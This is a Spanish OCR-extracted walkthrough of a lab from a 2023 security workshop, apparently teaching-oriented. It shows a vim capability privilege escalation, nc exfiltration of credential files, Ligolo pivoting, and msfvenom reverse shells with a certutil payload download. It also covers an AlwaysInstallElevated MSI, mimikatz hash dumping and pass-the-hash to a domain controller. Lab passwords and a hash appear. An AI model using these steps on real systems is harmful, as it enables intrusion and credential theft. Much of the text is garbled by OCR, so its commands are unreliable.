p_net_raw+ep

—

Vamos a comprobar cémo podemos elevar privilegios aprovechando esto.
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| Capabilities

can be used as a backdoor to maintain privileged access by manipulating its own process UID

This requires that viam is compiled with Python support. Prepend :py2 for Python 3

ep ${which vim
sudo setcap cap_setuldiep vim
fwim -c ":py import os; os.setuid(@); os.execl{"/bin/sh", "sh", "-c", "reset; exec sh"}'

La maquina esta ejecutando python3 por lo que como se indica, debemos actualizar el

comando a ":py3"

Y obtenemos privilegios elevados en el servidor backup.

9.4. Post-explotacion

Una vez obtenidos privilegios elevados en el servidor backupserver, vamos a tratar de

obtener informacidn que nos permita avanzar en la resolucion del laboratorio.

iisc fq_codel state UP group default qlen 1000

L dynamic enp@s3

1nK

er

Encontramos que el servidor de backup tiene conexion a un segundo segmento de red,

172.16.10.0/24.

Vamos a buscar archivos con informacion interesante en el sistema.

If the binary has the Linux car setuin capability set or it is executed by another binary with the capability set, it
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# pwd

Shome/backupserver/credentials_backup

# 1s -l1a

total 28

drw-r . ckupserv lackupserver

drwxr-xr-x 8 ckups er backupserver

-rw-r 1 root root

-Trw-r 1 root root ; 154 passwords. kdbx

# 1

En el directorio backupserver, encontramos una carpeta credentials backup con dos
archivos, uno parece de base de datos y el otro, un archivo de keepass. Descargamos

ambos en nuestra maquina de ataque de la siguiente manera:

En la maquina de ataque ejecutamos:

En la maquina objetivo:

nc 172.25.18.7 1234 -w 3 < db

~{Desktop/tallernavaja/172.16.10.5

Y ya tendremos el archivo en nuestra maquina de ataque. Hacemos lo mismo para el otro

archivo.

En el archivo db, encontramos la misma informacion que encontrabamos en el archivo

db de la enumeracion del servidor Web.

password desc

navajanegra navaja2023... support account for internal use
2 linda SupersSecret! user account Linux WebAdmin
rrodenas navajanegra23

elhackeretico elhackeretico2021

Vamos ahora con el archivo kdbx. Vamos a tratar de descifrar la contrasefa de la misma

forma que lo hicimos anteriormente.
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Encontramos que la contrasefia del archivo kdbx encontrado es "qwerty" Vamos a

enumerar si contiene credenciales.

# Linux Web Admin
il

M ServerWinAdmin
il

# Web Server

P (no titke)

P (no titke)

Encontramos las credenciales de usuarios que ya hemos visto durante los procesos de

enumeracion llevados a cabo en el laboratorio.
Seguimos enumerando otros directorios del sistema.

Encontramos otro directorio que contiene lo que parece software instalado en dispositivos
de la red. Uno de los ejecutables parece ser el instalable de Mobile Mouse Server, que ya
hemos vulnerado en el sistema y por otro lado, "minimouse" que puede ser otro software

instalado en algtn equipo.
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/home /backupserver

#1s -

total &

drwxr-x ckupserver backupserver
drwxr-xr-x root

-I'w [

-IW-T-—-r-—-

-IW-T—-I-—-

drwx <

drwx ); se ); 4096 9 88:25 .gnupg 35
drwxrwxr-x 5e )i 1 .local

STW-T—F— ; ¥ A f 20 .profile

drwx ); ) L .5sh

-TW-T—r-—- .sudo_as_admin_suc
-TW Niminfo
-TWXT-XI-X gent

drw-r edentials_backup
-TWXT-X

.sh
drwxrwxr- software_backup
# cd softw:

# 1s -la

total 1:

drwxrwxr-

drwxr-x .

-rw-Tw-r—- 1 ba 1 L g minimouse.msi
-TW-TW-T—- rack rack Ier ; ] mouse

# i

B b b

wod =

10.  Pivotando al segmento de red 172.16.10.0/24

Tras elevar privilegios en la mdquina backupserver y realizar el proceso de post-
explotacidon, comprobamos que este equipo tiene conexion con dos redes, 172.25.10.0/24
y 172.16.10.0/24 (nueva red descubierta). Volvemos a proceder de la misma forma que
anteriormente, cargamos un agent en el equipo objetivo que nos va a servir de pivote,

configuramos los reenvios de puertos y ejecutamos de la siguiente manera.

En la maquina objetivo:

* Specify a sess
nt t v start

ackupserver?

Tunnel already runn switch from lindadlinuxwebadmin to
nnel o ackupserver ...

root
mn tunnel to roo

r
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Iniciamos la conexion con el nuevo segmento de red y configuramos los diferentes
reenvios de puertos necesarios en caso de transferencia de archivos o reverse shells.
También debemos guardar el nuevo segmento descubierto en la tabla de enrutamiento de

nuestra maquina de ataque.

I-[~/Desktop/tallernavaja/172.16.10.5]

route add 172.16.10.0/24 dev ligolo
[sudo] password for kali:

A partir de este momento, ya podemos comenzar a enumerar equipos del nuevo segmento

de red.

11. Enumerando el segmento 172.16.10.0/24

Una vez configurado LigoloNG para conectar nuestra maquina de ataque al nuevo
segmento de red y hemos configurado los reenvios de puertos, vamos a comenzar la

enumeracion del nuevo segmento de red.

- ~/Desktop/tallernavaja/172.16.10.5]

Starting Nmap 7.94 ( https:
Nmap scan report for 172.
Host is up (@0.@51s latency).
Not shown: 999 closed tcp ports (conn-refused)
PORT STATE SERVICE
tcp open domain

Nmap scan repor

Host is up (@.

Not shown: 995 c

PORT STATE SERVICE
21/tcp open ft
open 55
open http

open hotline

open blackice-icecap

p
h
L

Nmap scan report for 172.16.10.6
Host is up (@.859s latency).
Not shown: 997 osed tcp ports (conn-refused)
POR STATE 5 IC
3 open  msr
open netbios-ssn
open microsoft-ds

Descubrimos un nuevo equipo en esta red, 172.16.10.6.
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12. 172.16.10.6

12.1. Enumeracion

12.1.1. Enumeracion de puertos

Vamos a enumerar los puertos que tiene abiertos el nuevo equipo descubierto.

~/Desktop/tallernavaja/172.16.10.5
500 172.16.10.6

Starting Nmap 7.94 ( https://nmap.org ) at 2 -10-13 18:06 EDT
Stats: 0:01:41 el d; hosts completed ( 1 undergoing Connect Scan
Connect Scan Timing: 64% done; ETC: 9 (0:00:36 remaining)
Nmap scan report for
Host is up (0.886s lat
Not shown: 59526 closed tcp ports (conn-refused), 5994 filtered tcp ports (no-response)
Some closed p s may be reg ted as filtered s to —defeat-rst-ratelimit
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn

open microsoft-ds

open unknown

open wsman

/ open pando-pub

8039/tcp open unknown
47001/tcp open winrm

open unknown

open unknown

open unknown

open unknown

open unknown

open unknown

700/tcp open unknown

Una vez determinamos que puertos estan abiertos, vamos a enumerar de forma detallada

las versiones ejecutadas detras de estos servicios.

~/Desktop/tallernavaja/172.16.18.5

172.16.16

STATE =

open

open etbi 11 C Windows netbios-ssn

open C

open

open

open
print-stri

GetRequest, HTTPOptions, RTSPReguest:

+GET, TRAC
z 1tent-Type
—-0rigin: *

VERSIONES
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e Puerto 135 > msrpc > Microsoft Windows RPC

e Puerto 139 > netbios-ssn > Microsoft Windows netbios-ssn
e Puerto 445 > SMB

e Puerto 5040

e Puerto 7680

e Puerto 8039

12.2. Explotacion

Existen un puerto 8039 que no sabemos qué servicio esta ejecutando. Recordamos que
durante el proceso de post-explotacion del servidor de backup hemos encontramos un

instalable de minimouse. Vamos a buscar informacion sobre él.

Encontramos una posible coincidencia entre el puerto 8039 y la aplicaciéon minimouse,

ademas de un exploit con el que podemos tratar de acceder al sistema aprovechando esto.

https://www.exploit-db.com/exploits/49743

-[~/Desktop/tallernavaja/172.16.10.6]
49743 .py

Para la ejecucion, necesitamos la IP del objetivo, un archivo malicioso y la IP del servidor

HTTP desde el que se va a enviar el payload malicioso.

Comenzamos preparando el payload malicioso.

~/Desktop/tallernavaja/172.16.10.6
windows/x64/shell_reverse_tcp LHOST=172.16.10.5 LPORT=1234
[-] No platform w selected, choosing Msf::Module::Platform::Windows from the payload
[-]1 No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7168 bytes

Posteriormente, vamos a modificar el exploit para adaptar el puerto de transferencia de

archivos al 8081 donde tenemos configurado el reenvio de puertos.

*)

.format(ip)

cation/json", "Connection”: "keep-alive", "Accept™: "#/%", "User-Agent”: "MiniMouse/9.3.0
/

, "name": "abc”, "script": f"certutil.exe -urlcache -split -f http://{lhost}:8081/{name} (

aders, json=down)

Ademas de cambiar certutil por curl para poder enviar el archivo al objetivo.
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El siguiente paso es configurar un oyente nc en el puerto 1234 en nuestra maquina de

ataque y ejecutar el exploit.

~/Desktop/tallernavaja/172.16.10.6
L9743 . py
.10.6
172.16.18.

‘~/Desktop/tallernavaja/172.16.10.6
: 1234
listening on [any] 1234 ...
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 43598
Microsoft Windows [Version 10.0.19045.3448]
(c) Microsoft Corporation. ALl rights reserved.

C:\Windows\Temp>whoami
whoami
navajanegra\r.rodenas

Ya tenemos acceso a la maquina objetivo con privilegios de usuario. El siguiente paso

serd la elevacion de privilegios.

12.3. Elevacion de privilegios

Tras acceder al sistema, vamos a comenzar a enumerar posibles vectores de elevacion de

privilegios en el sistema. Comenzaremos por los privilegios que tiene el usuario actual.

Description

Disabled

] Enabled

king station Disabled

working set Disabled

= zone Disabled

C:\windows\Temp>[l
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No parece que este usuario tenga permisos que nos permitan elevar privilegios de esta

manera. Sigamos enumerando.

Parece que el usuario r.rodenas tiene el privilegio AlwaysInstallElevated. Esto nos puede

permitir elevar privilegios. Vamos a hacerlo de la siguiente manera.

Creamos un archivo malicioso msi.

reverse_tcp LHO5T=172.16.16.5 LPORT=1234 -f msi >

shell.msi

Copiamos el archivo malicioso generado al directorio C:\Temp del equipo objetivo y
ejecutamos de la siguiente manera. Al mismo tiempo, debemos configurar un oyente nc

en el puerto 1234.

fi shell.msi

Y obtendremos conexion con el objetivo en nuestra maquina de ataque, y ademads, con

privilegios elevados.

-[~/Desktop/tallernavaja/172.16.10.6]
; 1234
listening on [any] 1234 ...
connect to [127.8.8.1] from (UNKNOWN) [127
Microsoft Windo

whoami
nt authorityhsysten

C:\Windows'\sy

12.4. Post-explotacion

Una vez hemos obtenido privilegios elevados en el sistema, vamos a comenzar el proceso
de post-explotacion donde vamos a tratar de encontrar hashes, credenciales, conexiones

de este sistema en otras redes...

Comenzamos por las conexiones de este equipo.
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IP Configuration

Name . 5 ooz
y Dns Suffix

Enabled.
Enabled.
ODNS Suff Search List.

Ethernet adapter Ethernet:

Subnet

Default

OHC "
DHC 1t DUID.
DHS

NetBIOS owver Tcpip.
Ethernet adapter Ethernet 2:

ic DNS Suffix

Podemos ver varias cosas interesantes. Por un lado, vemos que este equipo pertenece a
un entorno de AD (navajanegra.local) y por otro, que tiene dos interfaces de red:

172.16.10.0/24 (conocida) y 10.120.116.0/24 (nueva red descubierta).

Vamos con la enumeracion de hashes y credenciales. Para ello, vamos a utilizar la

herramienta mimikatz, para volcar toda esta informacion de interés.

Con mimikatz, obtenemos el hash NTLM para el usuario r.rodenas

QePED3ea (1002)

r : r.rode
1sh NTLM: 3d2Bbfcbfe5ddiesbfe77odfc@fasd2

13.  Pivotando al segmento de red 10.120.116.0/24

Una vez realizada la elevacion de privilegios en Workstation-01 y realizado el proceso de

post-explotacion, vamos a pivotar al nuevo segmento de red que hemos encontrado,
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10.120.116.0/24. La forma de realizar el pivote al nuevo segmento es la misma que hemos
realizado hasta ahora. Transferimos el agent.exe desde la maquina de ataque al objetivo

y lo configuramos.

S EXE ——cnnnPLr 172.16.10.5:116Q1 -ignore-cert
16.18.5:116@1 -ignore-cert

+02: nn" L=warni 5 warning, rtifica lidation disabled"
+02:80" level=info msg ( ection establis addr="172.16.10.5:11601"

En nuestra maquina de ataque configuramos el nuevo segmento encontrado, el reenvio de

puertos y afladimos el nuevo segmento a la tabla de enrutamiento.

tart

—addr 0.0.0.0:11601 —1to 127,90

~fﬂesktupfta11ernavaja
route add 10.120.116.8/24 dev ligolo
[E.IJljlj] pa rd for kali:

Y ya podremos comenzar la enumeracion del nuevo segmento de red.

14. Enumerando el segmento 10.120.116.0/24

Una vez que hemos configurado Ligolo y que tenemos acceso al nuevo segmento de red,
vamos a comenzar el proceso de enumeracion para determinar los equipos que vamos a

existen en esta red.

nmap -Pn 16.120.11

Nmap scan report for 108.1 116.75
Host is up ( s latency
Not shown: 998 filtered tcp ports (no-response)
PORT STATE SERVICE

open domain

open kerberos-

open mMSTrpcC

open netbios-ssn

open ldap

open microsoft-ds

open kpasswds

open http-rpc-epmap

open ldapssl

open wsdapi
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Obtenemos un unico equipo en el nuevo segmento de red encontrado. Ya podemos

comenzar el proceso de enumeracion del nuevo sistema encontrado.

15.  10.120.116.75

15.1. Enumeracion

15.1.1. Enumeracion de puertos

Vamos a enumerar los servicios disponibles en el nuevo equipo descubierto en este

segmento de red. Comenzamos con la enumeracion rapida de servicios.

-[~/Desktop/tallernavaja
—p [ 1 500 18.120.116.75
Nmap 7.94 ( https://nmap.org ) at 2 16-13 19:
B:10 elapsed; @ hos completed (1 up), 1 un
can Timing: About 4 done; ETC: 2 !
;10 elapsed; @ hosts completed (1 up
Timing: About 3 done; ETC:
1 elapsed; @ ho
Timing: About 9
Mmap scan report for 10.12
' [ s late
filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PO STATE 5
open
open
open
open netbios-ssn
open ldap
open microsoft-ds
open kpasswd5
open http-rpc-epmap
open
open §
open globalcatLDAPssl
open wsdapi
open  wsman

Una vez hemos completado la enumeracion rapida de los servicios disponibles, vamos a

enumerar de forma detallada que se esta ejecutando tras cada puerto abierto.




~/Desktop/tallernavaja

15.2. Explotacion y elevacion de privilegios

En la maquina objetivo existen varios servicios a los que con credenciales nos podremos
conectar. Vamos a enumerar si las credenciales que obtuvimos en la maquina anterior son

validas para alguno de los servicios.

~/Desktop/tallernavaja
smb 10.1208.116.75 r.re

&

Obtenemos un resultado positivo. Esto nos va a permitir acceder a este equipo con una
shell con privilegios elevados. Y no solo eso, vamos a poder volcar los hashes almacenas

en SAM de la siguiente forma:

Obtenemos el hash del usuario Administrator en lo que parece que es el Domain

Controller. Vamos a conectarnos con las credenciales del usuario Administrator.

f
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Obtenemos privilegios elevados y acceso al Domain Controller como usuario

Administrator.

Ethernet adapter Ethernet:

WINS Pri L " o= % o= o= om om o om &
ODNS Suf i - 3 = = = = janegra.local

Ethernet adapter
p Adapter

(Preferred)

Subnet A
ult
OHC ient DUID.

DNS Servers

NetBIOS over Tcpip.

Y ya estaria completado el laboratorio del Taller que imparti en el Congreso de Navaja

Negra 2023.
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